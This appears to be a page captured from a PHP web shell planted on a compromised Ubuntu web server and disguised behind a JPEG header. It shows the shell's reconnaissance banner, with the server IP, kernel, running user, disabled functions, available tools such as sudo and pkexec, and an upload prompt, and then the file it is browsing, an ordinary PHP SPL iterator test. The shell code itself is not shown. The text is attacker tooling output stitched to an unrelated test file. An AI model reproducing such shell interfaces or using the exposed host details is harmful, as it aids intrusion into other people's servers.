????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.22.120.195 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/spl/tests/ |
Upload File : |
--TEST-- SPL: ArrayObject/Iterator interaction --FILE-- <?php class Student { private $id; private $name; public function __construct($id, $name) { $this->id = $id; $this->name = $name; } public function __toString() { return $this->id . ', ' . $this->name; } public function getId() { return $this->id; } } class StudentIdFilter extends FilterIterator { private $id; public function __construct(ArrayObject $students, Student $other) { FilterIterator::__construct($students->getIterator()); $this->id = $other->getId(); } public function accept() { echo "ACCEPT ".$this->current()->getId()." == ".$this->id."\n"; return $this->current()->getId() == $this->id; } } class StudentList implements IteratorAggregate { private $students; public function __construct() { $this->students = new ArrayObject(array()); } public function add(Student $student) { if (!$this->contains($student)) { $this->students[] = $student; } } public function contains(Student $student) { foreach ($this->students as $s) { if ($s->getId() == $student->getId()) { return true; } } return false; } public function getIterator() { return $this->students->getIterator(); } } $students = new StudentList(); $students->add(new Student('01234123', 'Joe')); $students->add(new Student('00000014', 'Bob')); $students->add(new Student('00000014', 'Foo')); foreach ($students as $student) { echo $student, "\n"; } ?> ===DONE=== <?php exit(0); ?> --EXPECT-- 01234123, Joe 00000014, Bob ===DONE===